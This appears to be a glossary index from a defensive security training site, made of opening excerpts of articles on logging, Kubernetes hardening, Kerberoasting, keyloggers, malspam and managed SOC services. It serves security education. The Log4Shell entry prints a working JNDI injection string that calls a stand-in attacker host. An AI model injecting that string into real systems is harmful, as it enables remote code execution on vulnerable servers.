The SOC Analyst
Glossary

Pull up the asset inventory during an incident and you learn what your program actually knows. A responder asks a simple question, "what is this host, who owns it, what is licensed to run on it, and is it still supposed to exist," and the inventory either answers in seconds or sends the analyst hunting through four consoles while the intrusion spreads. The laptop that left the company with an employee but still has a valid VPN certificate.

A new starter joins, and a script creates the account, assigns the groups, enrolls the laptop, and pushes the baseline image. No ticket sits in a queue for two days. The same script, pointed at a list of 400 hosts, patches every one of them before lunch.

A domain admin account sits in a group all year. It is used for maybe two hours a month: a patch window, a break-glass fix, an onboarding. The other 730 hours, it does nothing but exist.

What Is Kerberoasting? Kerberoasting is a cyberattack that mainly targets Windows networks by exploiting the Kerberos authentication protocol. This attack specifically targets service accounts associated with services rather than individual users within the Active Directory (AD) environment.

A keylogger does one thing, and it does it patiently: it records every key a user presses, then hands that record to whoever planted it. No exploit chain, no privilege escalation, no lateral movement is required to read a password. The user types it.

A team writes a YAML manifest that says run six replicas of a payment service, keep them healthy, and expose them behind a load balancer. They click create on a managed cluster, and within minutes the workload is running across nodes they never provisioned, scheduled by an API server they never installed, on a control plane the cloud provider patches without telling them. No one set up etcd.

A new Kubernetes cluster ships with the kubelet listening on an unauthenticated port, the dashboard reachable, anonymous API access enabled on some distributions, and pods free to run as root. None of that is a bug. It is the default, and defaults optimize for "it works," not "it is safe." The job of securing the cluster is the job of closing that gap, and the two documents teams reach for most are NIST SP 800-190 and the CIS Kubernetes Benchmark.

A default Kubernetes cluster is a fast way to ship workloads and a wide door for an attacker. Out of the box, pods can run as root, talk to every other pod, and reach the cloud metadata endpoint that hands out credentials. The API server trusts whatever the kubelet says.

A default Kubernetes cluster is a flat, trusting network with a single God-mode API. Every pod can reach every other pod. Every namespace can run a root container that mounts the host filesystem unless something stops it.

Type docker run nginx and you get one container, on one machine, in a second. That is Docker doing its whole job: build an image, start a container, manage it on the host in front of you. Now run that same container across forty machines, restart it when a node dies, scale it from three copies to thirty under load, and roll it back when a deploy breaks.

For most of the 2010s, "Kubernetes vs. Mesos" was a real decision. Two credible ways to schedule containers across a fleet of machines, each with a serious production user base.

A developer runs kubectl apply on a Pod manifest that requests privileged: true, mounts the host filesystem, and pulls an unscanned image from a public registry. Authentication passes: the user has valid credentials. Authorization passes: their RBAC role allows creating Pods in that namespace.

An attacker phishes one employee and lands on a single laptop. That laptop holds nothing of value, but it is enough. The attacker runs a credential-dumping tool, pulls a local administrator's password hash from memory, and uses that hash to authenticate to a file server over SMB without ever knowing the password.

An analyst pulls the telemetry for a host that is clearly compromised and goes looking for the malware. There is none. No dropped executable, no flagged binary, nothing the antivirus quarantined.

A firewall writes its drops in one format, a Windows host writes logon events as XML, an Nginx server writes Combined Log Format text, and an AWS account emits JSON. All four describe the same kind of thing: who did what, when, from where. None of them agree on field names, timestamp format, or even what a source address is called.

An analyst is handed a question: did the attacker reach the customer database? The answer is not in any one place. It is spread across logs.

Two log lines describe the same event. One reads CEF:0|Security|threatmanager|1.0|100|worm successfully stopped|10|src=10.0.0.1 dst=2.1.2.2. The other reads {"vendor":"Security","product":"threatmanager","event":"worm stopped","src":"10.0.0.1","dst":"2.1.2.2"}.

Every system you defend is writing down what it does, one line at a time. A failed SSH login appends a line to /var/log/auth.log. A user opening a file generates a Windows Security event.

A SOC drowns in logs long before it runs out of attackers. A single Windows host emits thousands of Security events an hour. A web tier writes a line per request.

A firewall writes Dec 10 14:22:09 fw01 %ASA-6-302013: Built outbound TCP connection 4510 for outside:203.0.113.7/443. A web server writes 203.0.113.7 - - [10/Dec/2025:14:22:09 +0000] "GET /login HTTP/1.1" 200 1043. Windows writes the same login as a multi-line XML event.

A breach is confirmed on June 1. The first sign of compromise traces back to a phishing email opened in February. The responder pivots to the authentication logs to scope what the stolen credential touched, and the query returns nothing before April.

A disk fills up at 2 a.m. The web server stops serving. The auth daemon cannot write its log, so it stops logging.

An attacker authenticates with a stolen credential at 02:14, spawns a suspicious process at 02:15, and opens an outbound connection to a new IP at 02:16. If your logs are collected in a batch job that runs every hour, that whole chain sits unseen on the source hosts until 03:00, and by then the data is staged and ready to leave. Log streaming closes that gap.

The exploit fit in a chat message. In December 2021, a player could rename a Minecraft item or type a string into a server chat box and run code on the host. The string was ${jndi:ldap://attacker.com/a}.

A single web server can emit millions of log lines a day. Multiply that by hundreds of containers, a dozen cloud accounts, every firewall, every identity provider, and every database, and the raw volume stops being a storage problem and becomes an operations problem. Someone has to collect those logs, parse a dozen incompatible formats into something queryable, keep them long enough to satisfy an audit, and surface the three lines that matter when an incident is live.

The first thing that goes wrong in an incident is not the alert. It is the log that was never written, or written in a format nobody can parse, or rotated off disk a week before the breach you are now investigating. By the time you reach for the evidence, the logging decisions were made months ago, by someone who was thinking about disk space and not about the question you are now trying to answer: what did the attacker touch, when, and from where.

An application is configured to log at WARN. A responder investigating a suspicious login pulls the logs and finds the failed authentications and the privilege error, but nothing about which function called the auth routine, what parameters it passed, or the order of events that led there. That detail existed.

A web service starts returning 500 errors at 02:14. The monitoring dashboard catches it in seconds: error rate spikes, a latency alert fires, an on-call engineer gets paged. That is monitoring doing its job, telling you something is wrong right now.

A finance analyst builds an expense-approval app over a weekend. It pulls from a payroll database, posts to a Slack channel, and writes back to a shared spreadsheet. No ticket to IT, no code review, no security sign-off.

A TLS certificate expires at 2 a.m. on a load balancer nobody remembers owning. Payments stop. The on-call engineer spends an hour finding which certificate, on which host, signed by which authority, because no inventory ever listed it.

export const frontmatter = { title: "What Is Machine Learning (ML) in Cybersecurity?", description: "Machine learning detects malware, flags anomalies, and classifies threats at scale. Learn how ML works in security, where it fails, and adversarial ML risks.", date: "2026-06-21", author: "CyberDefenders", tags: ["threat-detection", "detection-engineering", "fundamentals"], readingTime: 11, image: "/blog-machine-learning.png" }; A modern endpoint agent sees a file it has never encountered before. No signature matches.

A valid login is the new payload. In its 2026 Global Threat Report, CrowdStrike found that 82% of detections in 2025 were malware-free: intrusions moved through authorized pathways and trusted identities, blending into normal activity instead of dropping a file an antivirus could catch. When the attacker is already holding a working credential, the signature engine has nothing to match.

A fraud model retrains every night on the transactions it scored that day. An attacker who can feed it a steady trickle of crafted, mislabeled transactions does not need to breach a single server. They poison the data the model learns from, and within a few retrain cycles the model waves their fraud through as normal.

A macro inside a Word attachment runs the moment a user enables editing. It spawns PowerShell, pulls a payload from a remote server, and writes a scheduled task for persistence. No new application was installed.

A user opens the New York Times, reads an article, clicks nothing, and closes the tab. Ninety seconds later their endpoint is encrypting files. No phishing email, no downloaded attachment, no visited sketchy site.

A user clicks a "résumé.pdf.exe" attachment. Nothing visible happens. No crash, no popup, no ransom note.

A flagged executable lands in the analyst's queue: invoice_8842.exe, pulled off a finance workstation after the EDR raised a low-confidence alert. She does not run it. First she hashes it and checks the hash against VirusTotal: 3 of 72 engines flag it, all with generic names.

AV-TEST registers over 450,000 new malicious programs and potentially unwanted applications every single day. No analyst reads 450,000 samples. No signature feed ships fast enough to name them all before they land.

export const frontmatter = { title: "What Is Malware Hosting? Cloud Abuse Explained", description: "Malware hosting is the abuse of trusted cloud services to store and deliver malware. Learn how attackers hide in GitHub, OneDrive, and Drive, and how to detect it.", date: "2026-06-21", author: "CyberDefenders", tags: ["cloud-security", "malware-analysis", "threat-detection", "threat-hunting"], readingTime: 9, image: "/blog-malware-hosting.png" }; What Is Malware Hosting?

export const frontmatter = { title: "What Is Malspam? Malware Spam Explained", description: "Malspam is bulk email that delivers malware through attachments or links. Learn how it works, the lures and payloads, and how blue teams detect and stop it.", date: "2026-06-21", author: "CyberDefenders", tags: ["malware-analysis", "phishing", "email-security"], readingTime: 9, image: "/blog-malware-spam-malspam.png" }; An invoice lands in an accounts inbox.

A SOC analyst gets a ticket that reads "user reported a virus." The endpoint agent flagged a process reading the Chrome login database and beaconing to an unfamiliar domain. There is no virus here. Nothing attached itself to a host file, and nothing spread on its own.

You connect to the coffee shop Wi-Fi, open your bank, and the page loads. The padlock is there. Everything looks right.

A misconfigured storage bucket goes public on a Friday night. By the time the owning team logs in Monday, an external scanner has already found it, listed the objects, and pulled a copy. Nobody was watching the cloud control plane over the weekend.

What are Managed Cloud Security Services? Managed Cloud Security Services provide organizations with comprehensive security management solutions for cloud-based assets, focusing on protecting data, applications, and infrastructure from threats. Companies opt for external service providers to enhance their cloud security posture while allowing them to focus on core business functions.

A mid-sized company buys a top-tier endpoint detection tool. It is well configured and it fires accurate alerts. Then a critical detection lands at 2:14 a.m. on a Sunday, and nobody sees it until Monday at 9.

A 200-person company has a firewall, an endpoint tool, and a SIEM that nobody reads after 6 p.m. The two-person IT team patches servers, resets passwords, and answers tickets all day. Security is the thing they get to when nothing else is on fire, which is never.

A mid-size company buys a firewall, an endpoint agent, and a logging platform, then discovers the hard part was never the purchase. The tools generate thousands of events a day. Someone has to read them, decide which ones matter, investigate the real ones, and act before an intruder moves.

A mid-sized firm with no internal IT team still has to patch 300 endpoints, keep email running, recover from a failed server, and answer to an auditor about SOC 2. It cannot hire six specialists to do that. So it signs a monthly contract with an outside company that takes the work over.

A SIEM is not a product you turn on. It is a platform you operate. Someone has to onboard every log source, write and tune the correlation rules, watch the alert queue around the clock, and investigate what fires.

A mid-size company buys an XDR platform. It correlates endpoint, network, cloud, email, and identity into one console exactly as promised. Six months later the SOC is still drowning.